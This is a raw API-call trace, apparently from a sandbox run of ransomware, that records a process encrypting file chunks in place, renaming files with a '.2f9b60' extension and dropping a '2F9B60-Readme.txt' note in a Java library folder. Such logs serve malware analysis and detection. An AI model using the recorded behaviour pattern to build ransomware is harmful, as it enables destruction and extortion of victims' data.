[0151.940] GetFileSizeEx (in: hFile=0x25a8, lpFileSize=0x34aaf740 | out: lpFileSize=0x34aaf740*=84216) returned 1 [0151.940] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0x148f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.940] ReadFile (in: hFile=0x25a8, lpBuffer=0x34aaf6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34aaf708, lpOverlapped=0x0 | out: lpBuffer=0x34aaf6c0*, lpNumberOfBytesRead=0x34aaf708*=0x4, lpOverlapped=0x0) returned 1 [0151.970] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205004a0 [0151.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500530 [0151.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500560 [0151.971] NtQuerySystemTime (in: CurrentTime=0x34aaf600 | out: CurrentTime=0x34aaf600*=132462177571774000) returned 0x0 [0151.971] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x2cb29d87 [0151.971] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x5223cf35 [0151.971] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x512f4e79 [0151.971] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x15174074 [0151.971] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x4e7b9ea5 [0151.971] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x70384f6b [0151.971] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x15ddeab6 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x38c69e47 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x2f16a985 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x704c4d59 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x7a8dbe84 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x69fef9bb [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x7c1deb60 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x6bbd21b7 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x2beab28a [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x7931039f [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x6ebe4c34 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x9206f57 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x2e2ebda3 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x54c586b [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x6b9c5a35 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x785dde13 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x2ef0a4e5 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x50856b73 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x3fdf55ed [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x64f0e209 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x4b41a157 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x554f4d50 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x6eb9b7a0 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x4ef4e8a0 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x2b5f8ee8 [0151.972] RtlRandomEx (in: Seed=0x34aaf5f0 | out: Seed=0x34aaf5f0) returned 0x6f01a7fa [0151.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500590 [0151.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0151.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205005c0 [0151.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0151.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500560) returned 1 [0151.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205004a0) returned 1 [0151.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42593da0 [0151.980] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.981] ReadFile (in: hFile=0x25a8, lpBuffer=0x42593da0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34aaf660, lpOverlapped=0x0 | out: lpBuffer=0x42593da0*, lpNumberOfBytesRead=0x34aaf660*=0x3c00, lpOverlapped=0x0) returned 1 [0152.012] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ab0 [0152.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0152.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500560 [0152.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500560) returned 1 [0152.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425a2de0 [0152.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500560 [0152.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205006b0 [0152.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205006b0) returned 1 [0152.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0152.014] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ab0) returned 1 [0152.014] WriteFile (hFile=0x25a8, lpBuffer=0x425a2de0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34aaf660, lpOverlapped=0x0) [0186.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425a2de0) returned 1 [0186.247] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.248] ReadFile (in: hFile=0x25a8, lpBuffer=0x42593da0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34aaf660, lpOverlapped=0x0 | out: lpBuffer=0x42593da0*, lpNumberOfBytesRead=0x34aaf660*=0x3c00, lpOverlapped=0x0) returned 1 [0187.238] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc60 [0187.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc60) returned 1 [0187.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201b1d40 [0187.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc60 [0187.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd50 [0187.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd50) returned 1 [0187.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.241] WriteFile (in: hFile=0x25a8, lpBuffer=0x201b1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34aaf660, lpOverlapped=0x0 | out: lpBuffer=0x201b1d40*, lpNumberOfBytesWritten=0x34aaf660*=0x3c00, lpOverlapped=0x0) returned 1 [0205.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b1d40) returned 1 [0205.544] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0x10cf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.544] ReadFile (in: hFile=0x25a8, lpBuffer=0x42593da0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34aaf660, lpOverlapped=0x0 | out: lpBuffer=0x42593da0*, lpNumberOfBytesRead=0x34aaf660*=0x3c00, lpOverlapped=0x0) returned 1 [0205.546] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0x10cf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9260 [0205.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9260) returned 1 [0205.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201b1d40 [0205.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9260 [0205.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9950 [0205.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9950) returned 1 [0205.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.550] WriteFile (in: hFile=0x25a8, lpBuffer=0x201b1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34aaf660, lpOverlapped=0x0 | out: lpBuffer=0x201b1d40*, lpNumberOfBytesWritten=0x34aaf660*=0x3c00, lpOverlapped=0x0) returned 1 [0214.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201b1d40) returned 1 [0214.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104cd0 [0214.855] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.855] WriteFile (in: hFile=0x25a8, lpBuffer=0x1ceb9740*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x34aaf710, lpOverlapped=0x0 | out: lpBuffer=0x1ceb9740*, lpNumberOfBytesWritten=0x34aaf710*=0x15a, lpOverlapped=0x0) returned 1 [0218.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bd60 [0218.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0218.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262930) returned 1 [0218.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20262930 [0218.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0218.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260680 [0218.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260680) returned 1 [0218.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd60) returned 1 [0218.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858f10 [0218.843] sprintf (in: _Dest=0x1b858f10, _Format="%c%c" | out: _Dest="a9") returned 2 [0218.843] sprintf (in: _Dest=0x1b858f12, _Format="%c%c" | out: _Dest="f0") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f14, _Format="%c%c" | out: _Dest="09") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f16, _Format="%c%c" | out: _Dest="5e") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f18, _Format="%c%c" | out: _Dest="bf") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f1a, _Format="%c%c" | out: _Dest="08") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f1c, _Format="%c%c" | out: _Dest="fe") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f1e, _Format="%c%c" | out: _Dest="ef") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f20, _Format="%c%c" | out: _Dest="f5") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f22, _Format="%c%c" | out: _Dest="dd") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f24, _Format="%c%c" | out: _Dest="cd") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f26, _Format="%c%c" | out: _Dest="78") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f28, _Format="%c%c" | out: _Dest="3e") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f2a, _Format="%c%c" | out: _Dest="d1") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f2c, _Format="%c%c" | out: _Dest="fa") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f2e, _Format="%c%c" | out: _Dest="9e") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f30, _Format="%c%c" | out: _Dest="c8") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f32, _Format="%c%c" | out: _Dest="ab") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f34, _Format="%c%c" | out: _Dest="98") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f36, _Format="%c%c" | out: _Dest="65") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f38, _Format="%c%c" | out: _Dest="5b") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f3a, _Format="%c%c" | out: _Dest="0c") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f3c, _Format="%c%c" | out: _Dest="ef") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f3e, _Format="%c%c" | out: _Dest="c6") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f40, _Format="%c%c" | out: _Dest="2c") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f42, _Format="%c%c" | out: _Dest="6b") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f44, _Format="%c%c" | out: _Dest="44") returned 2 [0218.844] sprintf (in: _Dest=0x1b858f46, _Format="%c%c" | out: _Dest="1f") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f48, _Format="%c%c" | out: _Dest="0b") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f4a, _Format="%c%c" | out: _Dest="3e") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f4c, _Format="%c%c" | out: _Dest="9d") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f4e, _Format="%c%c" | out: _Dest="4c") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f50, _Format="%c%c" | out: _Dest="59") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f52, _Format="%c%c" | out: _Dest="23") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f54, _Format="%c%c" | out: _Dest="fa") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f56, _Format="%c%c" | out: _Dest="c0") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f58, _Format="%c%c" | out: _Dest="8b") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f5a, _Format="%c%c" | out: _Dest="58") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f5c, _Format="%c%c" | out: _Dest="b0") returned 2 [0218.845] sprintf (in: _Dest=0x1b858f5e, _Format="%c%c" | out: _Dest="04") returned 2 [0218.845] RtlInitAnsiString (in: DestinationString=0x34aaf788, SourceString="a9f0095ebf08feeff5ddcd783ed1fa9ec8ab98655b0cefc62c6b441f0b3e9d4c5923fac08b58b004" | out: DestinationString="a9f0095ebf08feeff5ddcd783ed1fa9ec8ab98655b0cefc62c6b441f0b3e9d4c5923fac08b58b004") [0218.845] RtlAnsiStringToUnicodeString (in: DestinationString=0x34aaf758, SourceString="a9f0095ebf08feeff5ddcd783ed1fa9ec8ab98655b0cefc62c6b441f0b3e9d4c5923fac08b58b004", AllocateDestinationString=1 | out: DestinationString="a9f0095ebf08feeff5ddcd783ed1fa9ec8ab98655b0cefc62c6b441f0b3e9d4c5923fac08b58b004") returned 0x0 [0218.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x4310a2a0 [0218.846] wcscat (in: _Dest=0x4318bd00, _Source="a9f0095ebf08feeff5dd" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\a9f0095ebf08feeff5dd") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\a9f0095ebf08feeff5dd" [0218.846] wcscat (in: _Dest=0x4318bd00, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\a9f0095ebf08feeff5dd.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\a9f0095ebf08feeff5dd.2f9b60" [0218.846] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\a9f0095ebf08feeff5dd.2f9b60", NtPathName=0x34aaf730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\a9f0095ebf08feeff5dd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x4310a1f0 [0222.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a1f0) returned 1 [0222.308] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43077970) returned 1 [0222.308] NtQueryInformationFile (in: FileHandle=0x25a8, IoStatusBlock=0x34aaf798, FileInformation=0x34aaf7a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34aaf798, FileInformation=0x34aaf7a8) returned 0x0 [0222.308] NtSetInformationFile (FileHandle=0x25a8, IoStatusBlock=0x34aaf798, FileInformation=0x34aaf7a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318bd00) returned 1 [0223.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a2a0) returned 1 [0223.367] FlushFileBuffers (hFile=0x25a8) returned 1 [0224.004] CloseHandle (hObject=0x25a8) returned 1 [0224.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79e2f0 [0224.917] wcscpy (in: _Dest=0x1b79e2f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0224.917] wcscat (in: _Dest=0x1b79e2f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\2F9B60-Readme.txt" [0224.917] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\2f9b60-readme.txt")) returned 0xffffffff [0224.917] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdec [0234.745] WriteFile (in: hFile=0xdec, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x34aaf650, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x34aaf650*=0xba9, lpOverlapped=0x0) returned 1 [0237.663] CloseHandle (hObject=0xdec) returned 1 [0238.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0238.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b890) returned 1 [0238.140] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dnsns.jar", cAlternateFileName="")) returned 1 [0238.140] wcscmp (_String1="dnsns.jar", _String2=".") returned 1 [0238.140] wcscmp (_String1="dnsns.jar", _String2="..") returned 1 [0238.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x430e90c0 [0238.141] wcscpy (in: _Dest=0x430e90c0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0238.141] wcscat (in: _Dest=0x430e90c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0238.141] wcscat (in: _Dest=0x430e90c0, _Source="dnsns.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" [0238.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x430e90c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b38 [0238.273] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaa4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaccess.jar", cAlternateFileName="")) returned 1 [0238.273] wcscmp (_String1="jaccess.jar", _String2=".") returned 1 [0238.273] wcscmp (_String1="jaccess.jar", _String2="..") returned 1 [0238.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79e2f0 [0238.274] wcscpy (in: _Dest=0x1b79e2f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0238.274] wcscat (in: _Dest=0x1b79e2f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0238.274] wcscat (in: _Dest=0x1b79e2f0, _Source="jaccess.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" [0238.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1788 [0238.275] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753c3a00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753c3a00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x753e9b60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf790d, dwReserved0=0x0, dwReserved1=0x0, cFileName="localedata.jar", cAlternateFileName="LOCALE~1.JAR")) returned 1 [0238.275] wcscmp (_String1="localedata.jar", _String2=".") returned 1 [0238.276] wcscmp (_String1="localedata.jar", _String2="..") returned 1 [0238.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0238.276] wcscpy (in: _Dest=0x1b79e8f0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0238.276] wcscat (in: _Dest=0x1b79e8f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0238.276] wcscat (in: _Dest=0x1b79e8f0, _Source="localedata.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar" [0238.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e8f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc4 [0238.277] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x33d, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0238.277] wcscmp (_String1="meta-index", _String2=".") returned 1 [0238.277] wcscmp (_String1="meta-index", _String2="..") returned 1 [0238.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x43105050 [0238.277] wcscpy (in: _Dest=0x43105050, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files 